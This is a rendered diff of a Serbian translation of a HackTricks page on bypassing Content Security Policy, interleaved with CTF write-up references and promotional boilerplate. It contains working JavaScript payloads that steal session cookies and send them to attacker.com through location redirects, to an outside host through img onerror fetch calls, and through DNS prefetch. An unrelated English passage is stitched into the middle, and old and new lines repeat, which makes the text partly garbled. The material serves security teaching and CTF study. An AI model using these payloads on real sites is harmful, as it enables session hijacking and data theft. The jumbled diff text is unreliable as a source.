Ovog puta **flag** će biti izvučen, svaki put kada se **karakter tačno pogodi** putem SQLi, **odgovor** traje **duže vreme** zbog sleep funkcije. Tada ćete moći izvući flag:
|
||||
Ovog puta će se **flag** izvući, svaki put kada se **karakter tačno pogodi** putem SQLi, **odgovor** traje **duže** zbog sleep funkcije. Tada ćete moći izvući flag:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||
|
@ -563,17 +579,17 @@ console.log(prefix);
|
|||
run();
|
||||
</script>
|
||||
```
|
||||
### Putem Bookmarkleta
|
||||
### Preko Bookmarkleta
|
||||
|
||||
Ovaj napad bi implicirao neko oblik društvenog inženjeringa gde napadač **ubeđuje korisnika da prevuče i ispusti link preko bookmarkleta pretraživača**. Ovaj bookmarklet bi sadržao **zlonamerni JavaScript** kod koji bi se izvršio kada bi bio prevučen i ispusten ili kliknut u kontekstu trenutnog prozora veba, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** kao što su kolačići ili tokeni.
|
||||
Ovaj napad bi implicirao neko oblik društvenog inženjeringa gde napadač **ubeđuje korisnika da prevuče i ispusti link preko bookmarkleta pretraživača**. Ovaj bookmarklet bi sadržao **zlonamerni JavaScript** kod koji bi se izvršio u kontekstu trenutnog prozora veba, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** poput kolačića ili tokena.
|
||||
|
||||
Za više informacija [**proverite originalni izveštaj ovde**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Bypass CSP ograničenjem CSP-a
|
||||
### Zaobilaženje CSP-a ograničavanjem CSP-a
|
||||
|
||||
U [**ovom CTF izveštaju**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP je zaobiđen ubacivanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji nije dozvoljavao učitavanje određene JS datoteke koja je, zatim, putem **zagađenja prototipa** ili **dom clobbering-a** omogućila **zloupotrebu drugačijeg skripta za učitavanje proizvoljnog skripta**.
|
||||
U [**ovom CTF izveštaju**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP je zaobiđen ubacivanjem unutar dozvoljenog iframe-a strožiji CSP koji nije dozvoljavao učitavanje određene JS datoteke koja je zatim, putem **zagađenja prototipa** ili **dom clobbering-a**, omogućila **zloupotrebu drugog skripta za učitavanje proizvoljnog skripta**.
|
||||
|
||||
Možete **ograničiti CSP Iframe-a** sa atributom **`csp`**:
|
||||
Možete **ograničiti CSP Iframe-a** pomoću atributa **`csp`**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
|
@ -581,8 +597,8 @@ Možete **ograničiti CSP Iframe-a** sa atributom **`csp`**:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
U [**ovom CTF zapisu**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML ubacivanja** da se **ograniči** više **CSP** tako da je skripta koja sprečava CSTI bila onemogućena i stoga je **ranjivost postala iskoristiva.**\
|
||||
CSP može postati stroži korišćenjem **HTML meta oznaka** i inline skripte mogu biti onemogućene **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanje specifične inline skripte putem sha**:
|
||||
U [**ovom CTF zapisu**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML ubacivanja** dodatno **ograničiti** **CSP** tako da je skripta koja sprečava CSTI bila onemogućena i stoga je **ranjivost postala iskoristiva.**\
|
||||
CSP može postati stroži korišćenjem **HTML meta tagova** i inline skripte mogu biti onemogućene **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanje specifične inline skripte putem sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
|
@ -591,7 +607,7 @@ CSP može postati stroži korišćenjem **HTML meta oznaka** i inline skripte mo
|
|||
```
|
||||
### JS ekstrakcija pomoću Content-Security-Policy-Report-Only
|
||||
|
||||
Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću kojom upravljate vi** (možda zbog CRLF-a), možete ga naterati da upućuje ka vašem serveru i ako **obavijete** **JS sadržaj** koji želite da ekstrahujete sa **`<script>`** i jer je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP-a, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) će biti poslat na server sa `Content-Security-Policy-Report-Only`.
|
||||
Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću kojom upravljate vi** (možda zbog CRLF-a), možete ga naterati da upućuje ka vašem serveru i ako **obavijete** **JS sadržaj** koji želite da ekstrahujete sa **`<script>`** i jer je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP-a, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) će biti poslat na server iz `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Za primer [**proverite ovaj CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
|
@ -603,15 +619,15 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
|
||||
* Kreira se `iframe` koji pokazuje ka URL-u (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP-a.
|
||||
* Taj URL zatim preusmerava ka tajnom URL-u (npr. `https://usersecret.example2.com`) koji **nije dozvoljen** od strane CSP-a.
|
||||
* Slušanjem događaja `securitypolicyviolation`, moguće je uhvatiti svojstvo `blockedURI`. Ovo svojstvo otkriva domen blokiranog URI-ja, otkrivajući tajni domen ka kojem je početni URL preusmeren.
|
||||
* Slušanjem događaja `securitypolicyviolation`, moguće je uhvatiti svojstvo `blockedURI`. Ovo svojstvo otkriva domen blokiranog URI-ja, otkrivajući tajni domen ka kojem je prvobitni URL preusmeren.
|
||||
|
||||
Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različito ponašanje u rukovanju iframe-ovima u vezi sa CSP-om, što može dovesti do potencijalnog otkrivanja osetljivih informacija zbog nedefinisanog ponašanja.
|
||||
|
||||
Druga tehnika uključuje iskorišćavanje samog CSP-a kako bi se zaključio tajni poddomen. Ova metoda se oslanja na binarni pretraga algoritam i prilagođavanje CSP-a da uključi određene domene koji su namerno blokirani. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikujući CSP direktivu da blokira ili dozvoli ove poddomene. Evo isečka koji prikazuje kako bi CSP mogao biti postavljen da olakša ovu metodu:
|
||||
Druga tehnika uključuje iskorišćavanje samog CSP-a kako bi se zaključio tajni poddomen. Ova metoda se oslanja na binarnu pretragu i prilagođavanje CSP-a kako bi uključila određene domene koji su namerno blokirani. Na primer, ako tajni poddomen sadrži nepoznate karaktere, možete iterativno testirati različite poddomene modifikujući CSP direktivu da blokira ili dozvoljava ove poddomene. Evo isečka koji prikazuje kako bi CSP mogao biti podešen da olakša ovu metodu:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Prateći koje zahteve CSP blokira ili dozvoljava, moguće je suziti moguće karaktere u tajnom poddomenu, otkrivajući konačno kompletan URL.
|
||||
Prateći koje zahteve CSP blokira ili dozvoljava, moguće je suziti moguće karaktere u tajnom poddomenu, otkrivajući konačno celu URL adresu.
|
||||
|
||||
Oba metoda iskorišćavaju nijanse implementacije i ponašanja CSP-a u pregledačima, pokazujući kako se naizgled sigurne politike mogu nenamerno otkriti osetljive informacije.
|
||||
|
||||
|
@ -630,13 +646,13 @@ Budite u toku sa dinamičnim svetom hakovanja putem vesti i uvida u realnom vrem
|
|||
**Poslednje najave**\
|
||||
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
|
||||
|
||||
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
||||
## Nesigurne tehnologije za zaobilaženje CSP-a
|
||||
|
||||
### Preopterećenje bafera odgovora PHP-om
|
||||
### Preopterećenje PHP odgovora baferom
|
||||
|
||||
PHP je poznat po **preopterećenju odgovora do 4096** bajtova po podrazumevanim podešavanjima. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP zaglavlja**, što dovodi do ignorisanja zaglavlja.\
|
||||
PHP je poznat po **baferovanju odgovora do 4096** bajtova po podrazumevanim podešavanjima. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP zaglavlja**, što dovodi do ignorisanja zaglavlja.\
|
||||
Zatim, tehnika se uglavnom sastoji u **popunjavanju bafera odgovora upozorenjima** kako bi CSP zaglavlje bilo poslato.
|
||||
|
||||
Ideja sa [**ovog writeupa**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
@ -652,7 +668,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **na kraju stranice** da bi **zloupotrebila** **druge krajnje tačke istog porekla.** Ovo se postiže učitavanjem ranjive krajnje tačke sa stranice napadača, a zatim osvežavanjem stranice napadača do prave krajnje tačke u istom poreklu koju želite zloupotrebiti. Na ovaj način **ranjiva krajnja tačka** može koristiti **`opener`** objekat u **payload-u** da **pristupi DOM-u** **prave krajnje tačke koju želite zloupotrebiti.** Za više informacija pogledajte:
|
||||
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **na kraju stranice** da bi **zloupotrebila** **druge krajnje tačke istog porekla.** Ovo se postiže učitavanjem ranjive krajnje tačke sa stranice napadača, a zatim osvežavanjem stranice napadača do prave krajnje tačke u istom poreklu koju želite zloupotrebiti. Na ovaj način, **ranjiva krajnja tačka** može koristiti **`opener`** objekat u **payload-u** da bi **pristupila DOM-u** **prave krajnje tačke koju želite zloupotrebiti.** Za više informacija pogledajte:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
|
@ -660,16 +676,16 @@ SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **na kraju s
|
|||
|
||||
Štaviše, **wordpress** ima **JSONP** krajnju tačku u `/wp-json/wp/v2/users/1?_jsonp=data` koja će **reflektovati** **podatke** poslate u izlazu (sa ograničenjem samo slova, brojeva i tačaka).
|
||||
|
||||
Napadač može zloupotrebiti tu krajnju tačku da bi **izveo SOME napad** na WordPress i **ugradio** ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` obratite pažnju da će se ovaj **skript** **učitati** jer je **dozvoljen od strane 'self'**. Štaviše, i zbog toga što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** putem **ranjive** **callback** krajnje tačke koja **zaobilazi CSP** da bi dao više privilegija korisniku, instalirao novi dodatak...\
|
||||
Napadač može zloupotrebiti tu krajnju tačku da bi **izveo SOME napad** na WordPress i **ugradio** ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` obratite pažnju da će se ovaj **script** **učitati** jer je **dozvoljen od strane 'self'**. Štaviše, i zbog toga što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** putem **ranjive** **callback** krajnje tačke koja **zaobilazi CSP** da bi dao više privilegija korisniku, instalirao novi dodatak...\
|
||||
Za više informacija o tome kako izvesti ovaj napad pogledajte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Bypass-ovi CSP eksfiltracije
|
||||
|
||||
Ako postoji strogi CSP koji vam ne dozvoljava da **interaktujete sa spoljnim serverima**, postoje neke stvari koje uvek možete uraditi da eksfiltrirate informacije.
|
||||
Ako postoji strogi CSP koji vam ne dozvoljava da **interaktujete sa eksternim serverima**, postoje neke stvari koje uvek možete uraditi da eksfiltrirate informacije.
|
||||
|
||||
### Location
|
||||
### Lokacija
|
||||
|
||||
Jednostavno možete ažurirati lokaciju da pošaljete tajne informacije napadačkom serveru:
|
||||
Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije napadačkom serveru:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
|
@ -683,9 +699,9 @@ Možete preusmeriti ubacivanjem meta oznake (ovo je samo preusmeravanje, neće p
|
|||
### DNS Prefetch
|
||||
|
||||
Da biste učitali stranice brže, pretraživači će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.\
|
||||
Možete naznačiti pretraživaču da unapred rešava ime hosta sa: `<link reol="dns-prefetch" href="something.com">`
|
||||
Možete naznačiti pretraživaču da unapred rešava ime hosta sa: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Možete zloupotrebiti ovu funkciju da **eksfiltrirate osetljive informacije putem DNS zahteva**:
|
||||
Možete zloupotrebiti ovaj postupak da biste **eksfiltrirali osetljive informacije putem DNS zahteva**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
var body = document.getElementsByTagName('body')[0];
|
||||
|
@ -697,26 +713,40 @@ body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessi
|
|||
|
||||
### Introduction
|
||||
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a specific page can load. However, in some cases, CSP can be misconfigured or not implemented properly, leading to potential security vulnerabilities.
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control resources the browser is allowed to load for a specific page. However, misconfigurations or weak policies can sometimes allow attackers to bypass CSP protections.
|
||||
|
||||
### Bypassing CSP using `unsafe-inline`
|
||||
### Bypass Techniques
|
||||
|
||||
One common way to bypass CSP is by using the `unsafe-inline` keyword in the `script-src` directive. This allows the execution of inline JavaScript code, which is normally blocked by CSP to prevent XSS attacks. By including `unsafe-inline` in the CSP header, an attacker can inject and execute arbitrary JavaScript code on the vulnerable website.
|
||||
#### 1. Inline Scripts
|
||||
|
||||
### Bypassing CSP using Data URI
|
||||
When a CSP allows `'unsafe-inline'` for scripts, attackers can execute arbitrary code by injecting inline scripts directly into HTML elements.
|
||||
|
||||
Another technique to bypass CSP is by using Data Uniform Resource Identifiers (URIs). Data URIs allow embedding small files directly into the HTML or CSS code, including JavaScript code. By using Data URIs, an attacker can bypass CSP restrictions and execute malicious code on the target website.
|
||||
#### 2. External Scripts
|
||||
|
||||
If a CSP permits loading scripts from specific domains (`'script-src'`), attackers can host malicious scripts on those domains to bypass CSP restrictions.
|
||||
|
||||
#### 3. Data URI
|
||||
|
||||
Attackers can use data URIs to embed code directly into HTML or CSS files, bypassing CSP restrictions on loading external resources.
|
||||
|
||||
#### 4. Eval Function
|
||||
|
||||
By using the `eval()` function or similar dynamic code execution methods, attackers can execute code despite CSP restrictions against inline scripts.
|
||||
|
||||
#### 5. Nonces
|
||||
|
||||
If a CSP uses nonces for script elements, attackers can try to guess or brute force the nonce value to inject and execute malicious scripts.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Content Security Policy is a powerful security mechanism that can help protect websites from various types of attacks. However, it is essential to configure CSP correctly to avoid misconfigurations that could be exploited by attackers to bypass security controls. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities before they can be leveraged by malicious actors.
|
||||
Content Security Policy is a powerful security measure, but it's essential to configure it correctly to avoid unintended vulnerabilities. Regularly review and update your CSP to ensure it provides robust protection against code injection attacks.
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
linkEl.href = urlWithYourPreciousData;
|
||||
document.head.appendChild(linkEl);
|
||||
```
|
||||
Da biste izbegli da se ovo desi, server može poslati HTTP zaglavlje:
|
||||
Da biste sprečili da se ovo desi, server može poslati HTTP zaglavlje:
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
|
@ -769,7 +799,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
|
||||
|
||||
**Hacking Insights**\
|
||||
**Uvidi u hakovanje**\
|
||||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||||
|
||||
**Vesti o hakovanju u realnom vremenu**\
|
||||
|
@ -789,7 +819,7 @@ Drugi načini podrške HackTricks-u:
|
|||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue